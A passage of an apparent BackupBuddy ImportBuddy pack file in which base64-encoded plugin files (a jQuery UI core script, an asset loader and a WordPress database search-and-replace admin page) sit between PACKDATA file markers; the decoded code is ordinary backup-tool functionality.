d0aCl7YT1jKHRoaXNbMF0pO2Zvcih2YXIgYjthLmxlbmd0aCYmYVswXSE9PWRvY3VtZW50Oyl7Yj1hLmNzcygicG9zaXRpb24iKTsKaWYoYj09PSJhYnNvbHV0ZSJ8fGI9PT0icmVsYXRpdmUifHxiPT09ImZpeGVkIil7Yj1wYXJzZUludChhLmNzcygiekluZGV4IiksMTApO2lmKCFpc05hTihiKSYmYiE9PTApcmV0dXJuIGJ9YT1hLnBhcmVudCgpfX1yZXR1cm4gMH0sZGlzYWJsZVNlbGVjdGlvbjpmdW5jdGlvbigpe3JldHVybiB0aGlzLmJpbmQoKGMuc3VwcG9ydC5zZWxlY3RzdGFydD8ic2VsZWN0c3RhcnQiOiJtb3VzZWRvd24iKSsiLnVpLWRpc2FibGVTZWxlY3Rpb24iLGZ1bmN0aW9uKGEpe2EucHJldmVudERlZmF1bHQoKX0pfSxlbmFibGVTZWxlY3Rpb246ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy51bmJpbmQoIi51aS1kaXNhYmxlU2VsZWN0aW9uIil9fSk7Yy5lYWNoKFsiV2lkdGgiLCJIZWlnaHQiXSxmdW5jdGlvbihhLGIpe2Z1bmN0aW9uIGQoZixnLGwsbSl7Yy5lYWNoKGUsZnVuY3Rpb24oKXtnLT1wYXJzZUZsb2F0KGMuY3VyQ1NTKGYsInBhZGRpbmciK3RoaXMsdHJ1ZSkpfHwwO2lmKGwpZy09cGFyc2VGbG9hdChjLmN1ckNTUyhmLAoiYm9yZGVyIit0aGlzKyJXaWR0aCIsdHJ1ZSkpfHwwO2lmKG0pZy09cGFyc2VGbG9hdChjLmN1ckNTUyhmLCJtYXJnaW4iK3RoaXMsdHJ1ZSkpfHwwfSk7cmV0dXJuIGd9dmFyIGU9Yj09PSJXaWR0aCI/WyJMZWZ0IiwiUmlnaHQiXTpbIlRvcCIsIkJvdHRvbSJdLGg9Yi50b0xvd2VyQ2FzZSgpLGk9e2lubmVyV2lkdGg6Yy5mbi5pbm5lcldpZHRoLGlubmVySGVpZ2h0OmMuZm4uaW5uZXJIZWlnaHQsb3V0ZXJXaWR0aDpjLmZuLm91dGVyV2lkdGgsb3V0ZXJIZWlnaHQ6Yy5mbi5vdXRlckhlaWdodH07Yy5mblsiaW5uZXIiK2JdPWZ1bmN0aW9uKGYpe2lmKGY9PT1qKXJldHVybiBpWyJpbm5lciIrYl0uY2FsbCh0aGlzKTtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7Yyh0aGlzKS5jc3MoaCxkKHRoaXMsZikrInB4Iil9KX07Yy5mblsib3V0ZXIiK2JdPWZ1bmN0aW9uKGYsZyl7aWYodHlwZW9mIGYhPT0ibnVtYmVyIilyZXR1cm4gaVsib3V0ZXIiK2JdLmNhbGwodGhpcyxmKTtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7Yyh0aGlzKS5jc3MoaCwKZCh0aGlzLGYsdHJ1ZSxnKSsicHgiKX0pfX0pO2MuZXh0ZW5kKGMuZXhwclsiOiJdLHtkYXRhOmZ1bmN0aW9uKGEsYixkKXtyZXR1cm4hIWMuZGF0YShhLGRbM10pfSxmb2N1c2FibGU6ZnVuY3Rpb24oYSl7dmFyIGI9YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpLGQ9Yy5hdHRyKGEsInRhYmluZGV4Iik7aWYoImFyZWEiPT09Yil7Yj1hLnBhcmVudE5vZGU7ZD1iLm5hbWU7aWYoIWEuaHJlZnx8IWR8fGIubm9kZU5hbWUudG9Mb3dlckNhc2UoKSE9PSJtYXAiKXJldHVybiBmYWxzZTthPWMoImltZ1t1c2VtYXA9IyIrZCsiXSIpWzBdO3JldHVybiEhYSYmayhhKX1yZXR1cm4oL2lucHV0fHNlbGVjdHx0ZXh0YXJlYXxidXR0b258b2JqZWN0Ly50ZXN0KGIpPyFhLmRpc2FibGVkOiJhIj09Yj9hLmhyZWZ8fCFpc05hTihkKTohaXNOYU4oZCkpJiZrKGEpfSx0YWJiYWJsZTpmdW5jdGlvbihhKXt2YXIgYj1jLmF0dHIoYSwidGFiaW5kZXgiKTtyZXR1cm4oaXNOYU4oYil8fGI+PTApJiZjKGEpLmlzKCI6Zm9jdXNhYmxlIil9fSk7CmMoZnVuY3Rpb24oKXt2YXIgYT1kb2N1bWVudC5ib2R5LGI9YS5hcHBlbmRDaGlsZChiPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpKTtjLmV4dGVuZChiLnN0eWxlLHttaW5IZWlnaHQ6IjEwMHB4IixoZWlnaHQ6ImF1dG8iLHBhZGRpbmc6MCxib3JkZXJXaWR0aDowfSk7Yy5zdXBwb3J0Lm1pbkhlaWdodD1iLm9mZnNldEhlaWdodD09PTEwMDtjLnN1cHBvcnQuc2VsZWN0c3RhcnQ9Im9uc2VsZWN0c3RhcnQiaW4gYjthLnJlbW92ZUNoaWxkKGIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifSk7Yy5leHRlbmQoYy51aSx7cGx1Z2luOnthZGQ6ZnVuY3Rpb24oYSxiLGQpe2E9Yy51aVthXS5wcm90b3R5cGU7Zm9yKHZhciBlIGluIGQpe2EucGx1Z2luc1tlXT1hLnBsdWdpbnNbZV18fFtdO2EucGx1Z2luc1tlXS5wdXNoKFtiLGRbZV1dKX19LGNhbGw6ZnVuY3Rpb24oYSxiLGQpe2lmKChiPWEucGx1Z2luc1tiXSkmJmEuZWxlbWVudFswXS5wYXJlbnROb2RlKWZvcih2YXIgZT0wO2U8Yi5sZW5ndGg7ZSsrKWEub3B0aW9uc1tiW2VdWzBdXSYmCmJbZV1bMV0uYXBwbHkoYS5lbGVtZW50LGQpfX0sY29udGFpbnM6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gZG9jdW1lbnQuY29tcGFyZURvY3VtZW50UG9zaXRpb24/YS5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbihiKSYxNjphIT09YiYmYS5jb250YWlucyhiKX0saGFzU2Nyb2xsOmZ1bmN0aW9uKGEsYil7aWYoYyhhKS5jc3MoIm92ZXJmbG93Iik9PT0iaGlkZGVuIilyZXR1cm4gZmFsc2U7Yj1iJiZiPT09ImxlZnQiPyJzY3JvbGxMZWZ0Ijoic2Nyb2xsVG9wIjt2YXIgZD1mYWxzZTtpZihhW2JdPjApcmV0dXJuIHRydWU7YVtiXT0xO2Q9YVtiXT4wO2FbYl09MDtyZXR1cm4gZH0saXNPdmVyQXhpczpmdW5jdGlvbihhLGIsZCl7cmV0dXJuIGE+YiYmYTxiK2R9LGlzT3ZlcjpmdW5jdGlvbihhLGIsZCxlLGgsaSl7cmV0dXJuIGMudWkuaXNPdmVyQXhpcyhhLGQsaCkmJmMudWkuaXNPdmVyQXhpcyhiLGUsaSl9fSl9fSkoalF1ZXJ5KTs=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/js/ui.core.js,importbuddy/js/ui.core.js
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/_assets.php,importbuddy/views/_assets.php
PD9waHAKcGJfYmFja3VwYnVkZHk6OmxvYWRfc3R5bGUoICdzdHlsZS5jc3MnICk7CnBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3N0eWxlKCAnbnByb2dyZXNzLmNzcycgKTsKcGJfYmFja3VwYnVkZHk6OmxvYWRfc3R5bGUoICdhbmltYXRlLmNzcycgKTsKCnBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3NjcmlwdCggJ2pxdWVyeS5qcycgKTsKcGJfYmFja3VwYnVkZHk6OmxvYWRfc2NyaXB0KCAndWkuY29yZS5qcycgKTsKcGJfYmFja3VwYnVkZHk6OmxvYWRfc2NyaXB0KCAndG9vbHRpcC5qcycgKTsKcGJfYmFja3VwYnVkZHk6OmxvYWRfc2NyaXB0KCAnbnByb2dyZXNzLmpzJyApOwpwYl9iYWNrdXBidWRkeTo6bG9hZF9zY3JpcHQoICdpbXBvcnRidWRkeS5qcycgKTs=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/_assets.php,importbuddy/views/_assets.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/_dbreplace.php,importbuddy/views/_dbreplace.php
PD9waHAKaWYgKCAhIGlzX2FkbWluKCkgKSB7IC8vIE5vdCBpbiBXb3JkUHJlc3MgKG9yIG5vdCBsb2dnZWQgaW4pLiBDaGVjayBpZiBpbiBJbXBvcnRCdWRkeS4KCWlmICggISBkZWZpbmVkKCAnUEJfSU1QT1JUQlVERFknICkgfHwgKCB0cnVlICE9PSBQQl9JTVBPUlRCVUREWSApICkgeyAvLyBOb3QgaW4gSW1wb3J0QnVkZHkuCgkJZGllKCAnPGh0bWw+PC9odG1sPicgKTsKCX0KCS8vIEluIEltcG9ydEJ1ZGR5IHNvIGNoZWNrIGF1dGhlbnRpY2F0aW9uLgoJQXV0aDo6cmVxdWlyZV9hdXRoZW50aWNhdGlvbigpOyAvLyBEaWUgaWYgbm90IGxvZ2dlZCBpbi4KfQoKcGJfYmFja3VwYnVkZHk6OmxvYWRfc3R5bGUoICdhZG1pbi5jc3MnICk7Cmdsb2JhbCAkd3BkYjsKCgplY2hvICc8YSBuYW1lPSJkYXRhYmFzZV9yZXBsYWNlIj48L2E+JzsKZWNobyAnVGhpcyB0b29sIGFsbG93cyB5b3UgdG8gYXV0b21hdGljYWxseSByZXBsYWNlIHRleHQgY29udGFpbmVkIHRocm91Z2hvdXQgeW91ciBXb3JkUHJlc3MgZGF0YWJhc2UuPGJyPic7CmVjaG8gJzxicj48Yj5Ob3RlOjwvYj4gSW1wb3J0QnVkZHkgYXV0b21hdGljYWxseSBoYW5kbGVzIG1pZ3JhdGluZyAmIHJlcGxhY2luZyB5b3VyIHNpdGUgVVJMcyBhbmQgZmlsZSBwYXRocyBkdXJpbmcgcmVzdG9yZS9taWdyYXRpb247IHRoaXMgdG9vbCBpcyBub3QgbmVlZGVkIGZvciBub3JtYWwgYmFja3VwIC8gcmVzdG9yZSBvcGVyYXRpb25zLic7CmVjaG8gJzxwPjxiPlRpcDo8L2I+IFdoZW4gcmVwbGFjaW5nIGEgc2l0ZSBhZGRyZXNzIHRoZXJlIG1heSBiZSBtb3JlIHRoYW4gb25lIFVSTCBzbyBtdWx0aXBsZSBwYXNzZXMgYXQgcmVwbGFjZW1lbnRzIG1heSBuZWVkIHRvIGJlIG1hZGUuIEllLiBodHRwOi8vc2l0ZS5jb20sIGh0dHA6Ly88Yj53d3cuPC9iPnNpdGUuY29tLCBodHRwPGI+czwvYj46Ly9zaXRlLmNvbSwgZXRjLjwvcD4nOwplY2hvICc8cD48aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL2ltYWdlcy9idWxsZXRfZXJyb3IucG5nIiBzdHlsZT0idmVydGljYWwtYWxpZ246IC0zcHg7Ij4gQ2F1dGlvbjogVGhpcyBpcyBhbiBhZHZhbmNlZCBmZWF0dXJlLiBVc2Ugd2l0aCBjYXJlOyBpbXByb3BlciB1c2UgbWF5IHJlc3VsdCBpbiBkYXRhIGxvc3MuPC9wPic7CmVjaG8gJzxicj4nOwoKCmlmICggcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkYXRhYmFzZV9yZXBsYWNlJyApID09ICcxJyApIHsKCQoJZ2xvYmFsICRwYl9iYWNrdXBidWRkeV9qc19zdGF0dXM7CgkkcGJfYmFja3VwYnVkZHlfanNfc3RhdHVzID0gdHJ1ZTsKCQoJCgllY2hvICc8ZGl2IGlkPSJwYl9pbXBvcnRidWRkeV93b3JraW5nIj48aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL2ltYWdlcy9sb2FkaW5nX2xhcmdlLmdpZiIgdGl0bGU9IldvcmtpbmcuLi4gUGxlYXNlIHdhaXQgYXMgdGhpcyBtYXkgdGFrZSBhIG1vbWVudC4uLiI+PC9kaXY+JzsKCWVjaG8gJzxzY3JpcHQ+alF1ZXJ5KCIjcGJfYmFja3VwYnVkZHlfc3RhdHVzX3dyYXAiKS5zaG93KCk7PC9zY3JpcHQ+JzsKCXBiX2JhY2t1cGJ1ZGR5OjpmbHVzaCgpOwoJLy9lY2hvICc8ZGl2IGlkPSJwYl9iYWNrdXBidWRkeV9yZXBsYWNlX3dvcmtpbmciPjxpbWcgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvaW1hZ2VzL2xvYWRpbmdfbGFyZ2UuZ2lmIiB0aXRsZT0iV29ya2luZy4uLiBQbGVhc2Ugd2FpdCBhcyB0aGlzIG1heSB0YWtlIGEgbW9tZW50Li4uIj48L2Rpdj4nOwoJCgkvLyBJbnN0YW50aWF0ZSBkYXRhYmFzZSByZXBsYWNlbWVudCBjbGFzcy4KCXJlcXVpcmVfb25jZSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi9kYnJlcGxhY2UvZGJyZXBsYWNlLnBocCcgKTsKCSRkYnJlcGxhY2UgPSBuZXcgcGx1Z2luYnVkZHlfZGJyZXBsYWNlKCAnJywgMSwgNjAqNjAqMjQgKTsKCQoJLy8gU2V0IHVwIHZhcmlhYmxlcyBieSBnZXR0aW5nIFBPU1QgZGF0YS4KCSRuZWVkbGUgPSBiYWNrdXBidWRkeV9jb3JlOjpkYmVzY2FwZSggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnbmVlZGxlJyApICk7CglpZiAoICRuZWVkbGUgPT0gJycgKSB7CgkJZWNobyAnPGI+RXJyb3IgIzQ0NTY1ODIuIE1pc3NpbmcgbmVlZGxlLiBZb3UgbXVzdCBlbnRlciB0ZXh0IHRvIHNlYXJjaCBmb3IuJzsKCQllY2hvICc8YnI+PGEgaHJlZj0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwYWdlX3VybCgpIC4gJyZwYXJlbnRfY29uZmlnPScgLiBodG1sZW50aXRpZXMoIHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAncGFyZW50X2NvbmZpZycgKSApIC4gJyIgY2xhc3M9ImJ1dHRvbiBzZWNvbmRhcnktYnV0dG9uIj4mbGFycjsgJyAuICBfXyggJ2JhY2snLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc8L2E+JzsKCQlyZXR1cm47Cgl9CgkkcmVwbGFjZW1lbnQgPSBiYWNrdXBidWRkeV9jb3JlOjpkYmVzY2FwZSggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAncmVwbGFjZW1lbnQnICkgKTsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ1JlcGxhY2luZyBgJyAuICRuZWVkbGUgLiAnYCB3aXRoIGAnIC4gJHJlcGxhY2VtZW50IC4gJ2AuJyApOwoJLyoKCWlmICggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnbWF5YmVfc2VyaWFsaXplZCcgKSA9PSAndHJ1ZScgKSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnQWNjb3VudGluZyBmb3Igc2VyaWFsaXplZCBkYXRhIGJhc2VkIG9uIHNldHRpbmdzLicgKTsKCQkkbWF5YmVfc2VyaWFsaXplZCA9IHRydWU7Cgl9IGVsc2UgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ05PVCBhY2NvdW50aW5nIGZvciBzZXJpYWxpemVkIGRhdGEgYmFzZWQgb24gc2V0dGluZ3MuIFVzZSB3aXRoIGNhdXRpb24uJyApOwoJCSRtYXliZV9zZXJpYWxpemVkID0gZmFsc2U7Cgl9CgkqLwoJCgkKCS8vIFJlcGxhY2UgYmFzZWQgb24gdGhlIHR5cGUgb2YgdGFibGUgcmVwbGFjZW1lbnQgc2VsZWN0ZWQuCglpZiAoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3RhYmxlX3NlbGVjdGlvbicgKSA9PSAnYWxsJyApIHsgLy8gQWxsIHRhYmxlcy4KCQkKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdSZXBsYWNpbmcgaW4gYWxsIHRhYmxlcyBiYXNlZCBvbiBzZXR0aW5ncy4nICk7CgkJCgkJJHJlc3VsdHMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICJTSE9XIFRBQkxFUyIsIEFSUkFZX04gKTsKCQlmb3JlYWNoKCAkcmVzdWx0cyBhcyAkcmVzdWx0ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdSZXBsYWNpbmcgaW4gdGFibGUgYCcgLiAkcmVzdWx0WzBdIC4gJ2AuJyApOwoJCQkkZGJyZXBsYWNlLT5icnV0ZWZvcmNlX3RhYmxlKCAkcmVzdWx0WzBdLCBhcnJheSggJG5lZWRsZSApLCBhcnJheSggJHJlcGxhY2VtZW50ICkgKTsKCQl9CgkJCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnUmVwbGFjZW1lbnQgZmluaXNoZWQuJyApOwoJCQoJfSBlbHNlaWYgKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICd0YWJsZV9zZWxlY3Rpb24nICkgPT0gJ3NpbmdsZV90YWJsZScgKSB7CgkJCgkJJHRhYmxlID0gYmFja3VwYnVkZHlfY29yZTo6ZGJlc2NhcGUoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3RhYmxlJyApICk7IC8vIFNpbmdsZSBzcGVjaWZpZWQgdGFibGUuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnUmVwbGFjaW5nIGluIHNpbmdsZSB0YWJsZSBgJyAuICR0YWJsZSAuICdgIGJhc2VkIG9uIHNldHRpbmdzLicgKTsKCQkkZGJyZXBsYWNlLT5icnV0ZWZvcmNlX3RhYmxlKCAkdGFibGUsIGFycmF5KCAkbmVlZGxlICksIGFycmF5KCAkcmVwbGFjZW1lbnQgKSApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ1JlcGxhY2VtZW50IGZpbmlzaGVkLicgKTsKCQkKCX0gZWxzZWlmICggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAndGFibGVfc2VsZWN0aW9uJyApID09ICdwcmVmaXgnICkgeyAvLyBNYXRjaGluZyB0YWJsZSBwcmVmaXguCgkJCgkJJHByZWZpeCA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmRiZXNjYXBlKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICd0YWJsZV9wcmVmaXgnICkgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdSZXBsYWNpbmcgaW4gYWxsIHRhYmxlcyBtYXRjaGluZyBwcmVmaXggYCcgLiAkcHJlZml4IC4gJ2AuJyApOwoJCQoJCSRlc2NhcGVkX3ByZWZpeCA9IHN0cl9yZXBsYWNlKCAnXycsICdcXycsICRwcmVmaXggKTsKCQkkcmVzdWx0cyA9ICR3cGRiLT5nZXRfcmVzdWx0cyggIlNIT1cgVEFCTEVTIExJS0UgJ3skZXNjYXBlZF9wcmVmaXh9JSciLCBBUlJBWV9OICk7CgkJZm9yZWFjaCggJHJlc3VsdHMgYXMgJHJlc3VsdCApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnUmVwbGFjaW5nIGluIHRhYmxlIGAnIC4gJHJlc3VsdFswXSAuICdgLicgKTsKCQkJJGRicmVwbGFjZS0+YnJ1dGVmb3JjZV90YWJsZSggJHJlc3VsdFswXSwgYXJyYXkoICRuZWVkbGUgKSwgYXJyYXkoICRyZXBsYWNlbWVudCApICk7CgkJfQoJCQoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ1JlcGxhY2VtZW50IGZpbmlzaGVkLicgKTsKCQkKCX0gZWxzZSB7CgkJZWNobyAnPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmpRdWVyeSgiI3BiX2ltcG9ydGJ1ZGR5X3dvcmtpbmciKS5oaWRlKCk7PC9zY3JpcHQ+JzsKCQlkaWUoICdFcnJvciAjNDQ1Njg5MzQ4OTM0OTgzNC4gVW5rbm93biBtZXRob2QuJyApOwoJfQoJCgllY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+alF1ZXJ5KCIjcGJfaW1wb3J0YnVkZHlfd29ya2luZyIpLmhpZGUoKTs8L3NjcmlwdD4nOwoJZWNobyAnPGJyPjxhIGhyZWY9IicgLiBwYl9iYWNrdXBidWRkeTo6cGFnZV91cmwoKSAuICcmcGFyZW50X2NvbmZpZz0nIC4gaHRtbGVudGl0aWVzKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3BhcmVudF9jb25maWcnICkgKSAuICciIGNsYXNzPSJidXR0b24gc2Vjb25kYXJ5LWJ1dHRvbiI+JmxhcnI7ICcgLiAgX18oICdiYWNrJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnPC9hPic7CgkKCSRwYl9iYWNrdXBidWRkeV9qc19zdGF0dXMgPSBmYWxzZTsKCXJldHVybjsKfQoKCiR0YWJsZXMgPSBhcnJheSgpOwokcHJlZml4ZXMgPSBhcnJheSgpOwoKLy8gTWFrZSBzdXJlIHRoaXMgV1AncyBwcmVmaXggaXMgaW4gdGhlcmUgZm9yIHN1cmUgKHVzZWZ1bCBpZiBzb21lb25lIHVzZXMgYSBwcmVmaXggdGhhdCBoYXMgYW4gdW5kZXJzY29yZSBpbiBpdDsgdGhleSBzaG91bGRudCBidXQgdGhleSBkbykuCmdsb2JhbCAkdGFibGVfcHJlZml4OwokcHJlZml4ZXNbXSA9ICR0YWJsZV9wcmVmaXg7CgovLyBDYWxjdWxhdGUgcHJlZml4ZXMgZm91bmQgaW4gdGhpcyBkYXRhYmFzZS4gRG9lcyBub3QgaGFuZGxlIG11bHRpcGxlLXVuZGVyc2NvcmUKJHJlc3VsdHMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICJTSE9XIFRBQkxFUyIsIEFSUkFZX04gKTsKZm9yZWFjaCggJHJlc3VsdHMgYXMgJHJlc3VsdCApIHsKCSR0YWJsZXNbXSA9ICRyZXN1bHRbMF07CglpZiAoIHByZWdfbWF0Y2goICcvW2EtekEtWjAtOV0qXyhbMC05XStfKSovaScsICRyZXN1bHRbMF0sICRtYXRjaGVzICkgKSB7CgkJJHByZWZpeGVzW10gPSAkbWF0Y2hlc1swXTsKCX0KfQoKJHByZWZpeGVzID0gYXJyYXlfdW5pcXVlKCAkcHJlZml4ZXMgKTsKbmF0c29ydCggJHByZWZpeGVzICk7CgoKPz4KCgo8ZGl2PgoJPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvIHBiX2JhY2t1cGJ1ZGR5OjpwYWdlX3VybCgpOz8+JmRhdGFiYXNlX3JlcGxhY2U9MSZwYXJlbnRfY29uZmlnPTw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3BhcmVudF9jb25maWcnICkgKTsgPz4iIG1ldGhvZD0icG9zdCI+CgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icmVwbGFjZSI+CgkJCgkJPGg0PlJlcGxhY2UgPD9waHAgcGJfYmFja3VwYnVkZHk6OnRpcCggJ1RleHQgeW91IHdhbnQgdG8gYmUgc2VhcmNoZWQgZm9yIGFuZCByZXBsYWNlZC4gRXZlcnl0aGluZyBpbiB0aGUgYm94IGlzIGNvbnNpZGVyZWQgb25lIG1hdGNoIGFuZCBtYXkgc3BhbiBtdWx0aXBsZSBsaW5lcy4nICk7ID8+PC9oND4KCQk8dGV4dGFyZWEgbmFtZT0ibmVlZGxlIiBzdHlsZT0id2lkdGg6IDEwMCU7Ij48L3RleHRhcmVhPgoJCTxicj4KCQkKCQk8aDQ+V2l0aCA8P3BocCBwYl9iYWNrdXBidWRkeTo6dGlwKCAnVGV4dCB5b3Ugd2FudCB0byByZXBsYWNlIHdpdGguIEFueSB0ZXh0IGZvdW5kIG1hdGNoaW5nIHRoZSBib3ggYWJvdmUgd2lsbCBiZSByZXBsYWNlZCB3aXRoIHRoaXMgdGV4dC4gRXZlcnl0aGluZyBpbiB0aGUgYm94IGlzIGNvbnNpZGVyZWQgb25lIG1hdGNoIGFuZCBtYXkgc3BhbiBtdWx0aXBsZSBsaW5lcy4nICk7ID8+PC9oND4KCQk8dGV4dGFyZWEgbmFtZT0icmVwbGFjZW1lbnQiIHN0eWxlPSJ3aWR0aDogMTAwJTsiPjwvdGV4dGFyZWE+CgkJCgkJPGg0PkluIHRhYmxlKHMpPC9oND4KCQk8bGFiZWwgc3R5bGU9ImZsb2F0OiBub25lOyIgZm9yPSJ0YWJsZV9zZWxlY3Rpb25fYWxsIj48aW5wdXQgaWQ9InRhYmxlX3NlbGVjdGlvbl9hbGwiICBjaGVja2VkPSdjaGVja2VkJyB0eXBlPSJyYWRpbyIgbmFtZT0idGFibGVfc2VsZWN0aW9uIiB2YWx1ZT0iYWxsIj4gYWxsIHRhYmxlczwvbGFiZWw+CgkJPGxhYmVsIHN0eWxlPSJmbG9hdDogbm9uZTsiIGZvcj0idGFibGVfc2VsZWN0aW9uX3ByZWZpeCI+PGlucHV0IGlkPSJ0YWJsZV9zZWxlY3Rpb25fcHJlZml4IiB0eXBlPSJyYWRpbyIgbmFtZT0idGFibGVfc2VsZWN0aW9uIiB2YWx1ZT0icHJlZml4Ij4gd2l0aCBwcmVmaXg6PC9sYWJlbD4KCQk8c2VsZWN0IG5hbWU9InRhYmxlX3ByZWZpeCIgaWQ9InRhYmxlX3NlbGVjdGlvbl9wcmVmaXgiIG9uY2xpY2s9ImpRdWVyeSgnI3RhYmxlX3NlbGVjdGlvbl9wcmVmaXgnKS5jbGljaygpOyI+CgkJCTw/cGhwCgkJCWZvcmVhY2goICRwcmVmaXhlcyBhcyAkcHJlZml4ICkgewoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJyAuICRwcmVmaXggLiAnIj4nIC4gJHByZWZpeCAuICc8L29wdGlvbj4nOwoJCQl9CgkJCT8+CgkJPC9zZWxlY3Q+CgkJPGxhYmVsIHN0eWxlPSJmbG9hdDogbm9uZTsiIGZvcj0idGFibGVfc2VsZWN0aW9uX3RhYmxlIj48aW5wdXQgaWQ9InRhYmxlX3NlbGVjdGlvbl90YWJsZSIgdHlwZT0icmFkaW8iIG5hbWU9InRhYmxlX3NlbGVjdGlvbiIgdmFsdWU9InNpbmdsZV90YWJsZSI+IHNpbmdsZTo8L2xhYmVsPgoJCTxzZWxlY3QgbmFtZT0idGFibGUiIGlkPSJ0YWJsZV9zZWxlY3Rpb25fdGFibGUiIG9uY2xpY2s9ImpRdWVyeSgnI3RhYmxlX3NlbGVjdGlvbl90YWJsZScpLmNsaWNrKCk7Ij4KCQkJPD9waHAKCQkJZm9yZWFjaCggJHRhYmxlcyBhcyAkdGFibGUgKSB7CgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInIC4gJHRhYmxlIC4gJyI+JyAuICR0YWJsZSAuICc8L29wdGlvbj4nOwoJCQl9CgkJCT8+CgkJPC9zZWxlY3Q+CgkJPGg0PkluIGRhdGFiYXNlPC9oND4KCQkiPD9waHAgZWNobyAkZGF0YWJhc2VTZXR0aW5nc1snbmFtZSddOyA/PiIgb24gaG9zdCAiPD9waHAgZWNobyAkZGF0YWJhc2VTZXR0aW5nc1snaG9zdCddOyA/PiIgd2l0aCB1c2VybmFtZSAiPD9waHAgZWNobyAkZGF0YWJhc2VTZXR0aW5nc1sndXNlcm5hbWUnXTsgPz4iLgoJCTw/cGhwCgkJaWYgKCBzdWJzdHJfY291bnQoICR0YWJsZV9wcmVmaXgsICdfJyApID4gMSApIHsKCQkJZWNobyAnPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLXdhcm5pbmciPldhcm5pbmc8L3NwYW4+ICc7CgkJCV9lKCAiU2l0ZSB0YWJsZSBwcmVmaXggY29udGFpbnMgbXVsdGlwbGUgdW5kZXJzY29yZXMuIFByZWZpeCBsaXN0IG1heSBiZSBpbmFjY3VyYXRlIGlmIHRoZXNlIGFyZSBub3QgTXVsdGlzaXRlIHN1YnNpdGVzLiIsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwoJCX0KCQkvKgoJCTxoND5XaXRoIGFkdmFuY2VkIG9wdGlvbnM8L2g0PgoJCTxsYWJlbCBmb3I9Im1heWJlX3NlcmlhbGl6ZWQiPjxpbnB1dCBpZD0ibWF5YmVfc2VyaWFsaXplZCIgdHlwZT0iY2hlY2tib3giIG5hbWU9Im1heWJlX3NlcmlhbGl6ZWQiIHZhbHVlPSJ0cnVlIiBjaGVja2VkPSJjaGVja2VkIj4gVHJlYXQgZmllbGRzIGFzIHBvc3NpYmx5IGNvbnRhaW5pbmcgc2VyaWFsaXplZCBkYXRhICh1bmNoZWNrIHdpdGggY2F1dGlvbjsgc2xvd2VyKS48L2xhYmVsPgoJCSovCgkJPz48YnI+PGJyPgoJCgkJPHA+CgkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIFJlcGxhY2VtZW50IiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi1wcmltYX